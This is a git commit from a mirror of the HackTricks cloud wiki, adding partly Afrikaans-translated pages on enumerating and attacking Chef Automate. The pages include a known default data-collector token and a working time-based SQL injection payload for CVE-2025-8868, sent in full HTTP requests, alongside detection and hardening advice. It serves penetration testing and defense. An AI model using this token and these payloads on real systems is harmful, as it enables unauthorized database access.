mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2025-12-09 22:30:47 -08:00
Translated ['src/pentesting-ci-cd/chef-automate-security/chef-automate-e
This commit is contained in:
Translator
18
src/pentesting-ci-cd/chef-automate-security/README.md
Normal file
18
src/pentesting-ci-cd/chef-automate-security/README.md
Normal file
@@ -0,0 +1,18 @@
|
||||
# Chef Automate Sekuriteit
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Wat is Chef Automate
|
||||
|
||||
Chef Automate is 'n platform vir infrastruktuur-automatisering, nakoming en toepassingslewering. Dit stel 'n web UI (dikwels Angular) beskikbaar wat met backend gRPC-dienste kommunikeer via 'n gRPC-Gateway, en verskaf REST-agtige endpoints onder paaie soos /api/v0/.
|
||||
|
||||
- Algemene backend-komponente: gRPC services, PostgreSQL (dikwels sigbaar via pq: error prefixes), data-collector ingest service
|
||||
- Outentiseringsmeganismes: gebruikers-/API-tokens en 'n data-collector token header x-data-collector-token
|
||||
|
||||
## Enumerasie & Aanvalle
|
||||
|
||||
{{#ref}}
|
||||
chef-automate-enumeration-and-attacks.md
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,142 @@
|
||||
# Chef Automate Enumeration & Attacks
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Overview
|
||||
|
||||
Hierdie bladsy versamel praktiese tegnieke om Chef Automate instances te enumerate en te attack, met klem op:
|
||||
- Discovering gRPC-Gateway-backed REST endpoints en die afleiding van request-skemas via validation/error responses
|
||||
- Abusing the x-data-collector-token authentication header when defaults are present
|
||||
- Time-based blind SQL injection in the Compliance API (CVE-2025-8868) affecting the filters[].type field in /api/v0/compliance/profiles/search
|
||||
|
||||
> Let wel: Backend responses that include header grpc-metadata-content-type: application/grpc typically indicate a gRPC-Gateway bridging REST calls to gRPC services.
|
||||
|
||||
## Recon: Architecture and Fingerprints
|
||||
|
||||
- Front-end: Dikwels Angular. Statiese bundles kan hints gee oor REST paths (bv. /api/v0/...)
|
||||
- API transport: REST to gRPC via gRPC-Gateway
|
||||
- Responses may include grpc-metadata-content-type: application/grpc
|
||||
- Database/driver fingerprints:
|
||||
- Error bodies starting with pq: strongly suggest PostgreSQL with the Go pq driver
|
||||
- Interesting Compliance endpoints (auth required):
|
||||
- POST /api/v0/compliance/profiles/search
|
||||
- POST /api/v0/compliance/scanner/jobs/search
|
||||
|
||||
## Auth: Data Collector Token (x-data-collector-token)
|
||||
|
||||
Chef Automate het 'n data collector wat versoeke verifieer via 'n toegewyde header:
|
||||
|
||||
- Header: x-data-collector-token
|
||||
- Risk: Sommige omgewings mag 'n default token behou wat toegang tot beskermde API-roetes gee. Bekende default waargeneem in die wild:
|
||||
- 93a49a4f2482c64126f7b6015e6b0f30284287ee4054ff8807fb63d9cbd1c506
|
||||
|
||||
Indien aanwezig, kan hierdie token gebruik word om Compliance API endpoints aan te roep wat andersins deur auth toegesluit is. Probeer altyd defaults te roteer/deaktiveer tydens hardening.
|
||||
|
||||
## API Schema Inference via Error-Driven Discovery
|
||||
|
||||
gRPC-Gateway-backed endpoints leak dikwels nuttige validation errors wat die verwagte request model beskryf.
|
||||
|
||||
For /api/v0/compliance/profiles/search, the backend expects a body with a filters array, where each element is an object with:
|
||||
|
||||
- type: string (filter field identifier)
|
||||
- values: array of strings
|
||||
|
||||
Example request shape:
|
||||
```json
|
||||
{
|
||||
"filters": [
|
||||
{ "type": "name", "values": ["test"] }
|
||||
]
|
||||
}
|
||||
```
|
||||
Verkeerd gevormde JSON of verkeerde veldtipes veroorsaak gewoonlik 4xx/5xx met leidrade, en headers dui die gRPC-Gateway-gedrag aan. Gebruik hierdie om velde te kaarteer en inspuitingsvlakke te lokaliseer.
|
||||
|
||||
## Compliance API SQL Injection (CVE-2025-8868)
|
||||
|
||||
- Aangedane endpoint: POST /api/v0/compliance/profiles/search
|
||||
- Inspuitingspunt: filters[].type
|
||||
- Kwetsbaarheidsklas: time-based blind SQL injection in PostgreSQL
|
||||
- Grondoorsaak: Gebrek aan behoorlike parameterization/whitelisting wanneer die type field in 'n dynamic SQL fragment geïnterpoleer word (waarskynlik gebruik om identifiers/WHERE clauses te konstrueer). Crafted values in type word deur PostgreSQL geëvalueer.
|
||||
|
||||
Werkende time-based payload:
|
||||
```json
|
||||
{"filters":[{"type":"name'||(SELECT pg_sleep(5))||'","values":["test"]}]}
|
||||
```
|
||||
Technique notes:
|
||||
- Sluit die oorspronklike string met 'n enkele aanhalingsteken
|
||||
- Koppel 'n subquery wat pg_sleep(N) aanroep
|
||||
- Gaan weer in stringkonteks via || sodat die finale SQL sintakties geldig bly, ongeag waar type ingebed is
|
||||
|
||||
### Bewys deur differensiële latensie
|
||||
|
||||
Stuur gepaarde versoeke en vergelyk reaksietye om bedienerkant-uitvoering te verifieer:
|
||||
|
||||
- N = 1 sekonde
|
||||
```
|
||||
POST /api/v0/compliance/profiles/search HTTP/1.1
|
||||
Host: <target>
|
||||
Content-Type: application/json
|
||||
x-data-collector-token: 93a49a4f2482c64126f7b6015e6b0f30284287ee4054ff8807fb63d9cbd1c506
|
||||
|
||||
{"filters":[{"type":"name'||(SELECT pg_sleep(1))||'","values":["test"]}]}
|
||||
```
|
||||
- N = 5 sekondes
|
||||
```
|
||||
POST /api/v0/compliance/profiles/search HTTP/1.1
|
||||
Host: <target>
|
||||
Content-Type: application/json
|
||||
x-data-collector-token: 93a49a4f2482c64126f7b6015e6b0f30284287ee4054ff8807fb63d9cbd1c506
|
||||
|
||||
{"filters":[{"type":"name'||(SELECT pg_sleep(5))||'","values":["test"]}]}
|
||||
```
|
||||
Observed behavior:
|
||||
- Response times scale with pg_sleep(N)
|
||||
- HTTP 500 responses may include pq: details during probing, confirming SQL execution paths
|
||||
|
||||
> Wenk: Gebruik 'n tyd-validator (bv. meervoudige dieproewe met statistiese vergelyking) om geraas en vals positiewe te verminder.
|
||||
|
||||
### Impak
|
||||
|
||||
Geverifieerde gebruikers — of ongeverifieerde akteurs wat 'n standaard x-data-collector-token misbruik — kan arbitrêre SQL binne Chef Automate se PostgreSQL-konteks uitvoer, wat die vertroulikheid en integriteit van compliance-profiele, konfigurasie en telemetrie in gevaar stel.
|
||||
|
||||
### Geaffekteerde weergawes / Oplossing
|
||||
|
||||
- CVE: CVE-2025-8868
|
||||
- Opgraderingsriglyn: Chef Automate 4.13.295 of later (Linux x86) volgens verskafferadvies
|
||||
|
||||
## Opsporing en Forensiek
|
||||
|
||||
- API-laag:
|
||||
- Monitor 500s op /api/v0/compliance/profiles/search waar filters[].type aanhalingstekens ('), concatenation (||), of funksieverwysings soos pg_sleep bevat
|
||||
- Kontroleer response headers vir grpc-metadata-content-type om gRPC-Gateway flows te identifiseer
|
||||
- Databasis-laag (PostgreSQL):
|
||||
- Ouditeer vir pg_sleep-oproepe en malformed identifier-foute (dikwels met pq: voorvoegsels afkomstig van die Go pq-driver)
|
||||
- Outentisering:
|
||||
- Log en waarsku oor gebruik van x-data-collector-token, veral bekende standaardwaardes, oor API-paaie
|
||||
|
||||
## Mitigasies en Verharding
|
||||
|
||||
- Onmiddellik:
|
||||
- Draai/deaktiveer standaard data-collector-tokens
|
||||
- Beperk inkoms na data-collector-endpunte; dwing sterk, unieke tokens af
|
||||
- Kodevlak:
|
||||
- Parameteriseer queries; moenie SQL-fragmenten deur string-concatenation bou nie
|
||||
- Witlys streng toegelate type-waardes op die bediener (enum)
|
||||
- Vermy dinamiese SQL-samestelling vir identifiers/clauses; as dinamiese gedrag nodig is, gebruik veilige identifier-quoting en eksplisiete witlyste
|
||||
|
||||
## Praktiese Toetskontrolelys
|
||||
|
||||
- Kontroleer of x-data-collector-token aanvaar word en of die bekende standaard werk
|
||||
- Map die Compliance API versoekskema deur valideringsfoute uit te lok en foutboodskappe/opskrifte te lees
|
||||
- Toets vir SQLi in minder voor die hand liggende “identifier-like” velde (bv. filters[].type), nie net waardes-arrays of vlak-1 teksvelde nie
|
||||
- Gebruik tydgebaseerde tegnieke met concatenation om SQL sintakties geldig oor verskeie kontekste te hou
|
||||
|
||||
## Verwysings
|
||||
|
||||
- [Cooking an SQL Injection Vulnerability in Chef Automate (XBOW blog)](https://xbow.com/blog/cooking-an-sql-injection-vulnerability-in-chef-automate)
|
||||
- [Timing trace (XBOW)](https://xbow-website.pages.dev/traces/chef-automate-sql-injection/)
|
||||
- [CVE-2025-8868](https://www.cve.org/CVERecord?id=CVE-2025-8868)
|
||||
- [gRPC-Gateway](https://github.com/grpc-ecosystem/grpc-gateway)
|
||||
- [pq PostgreSQL driver for Go](https://github.com/lib/pq)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
@@ -1,5 +1,3 @@
|
||||
# GCP - Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user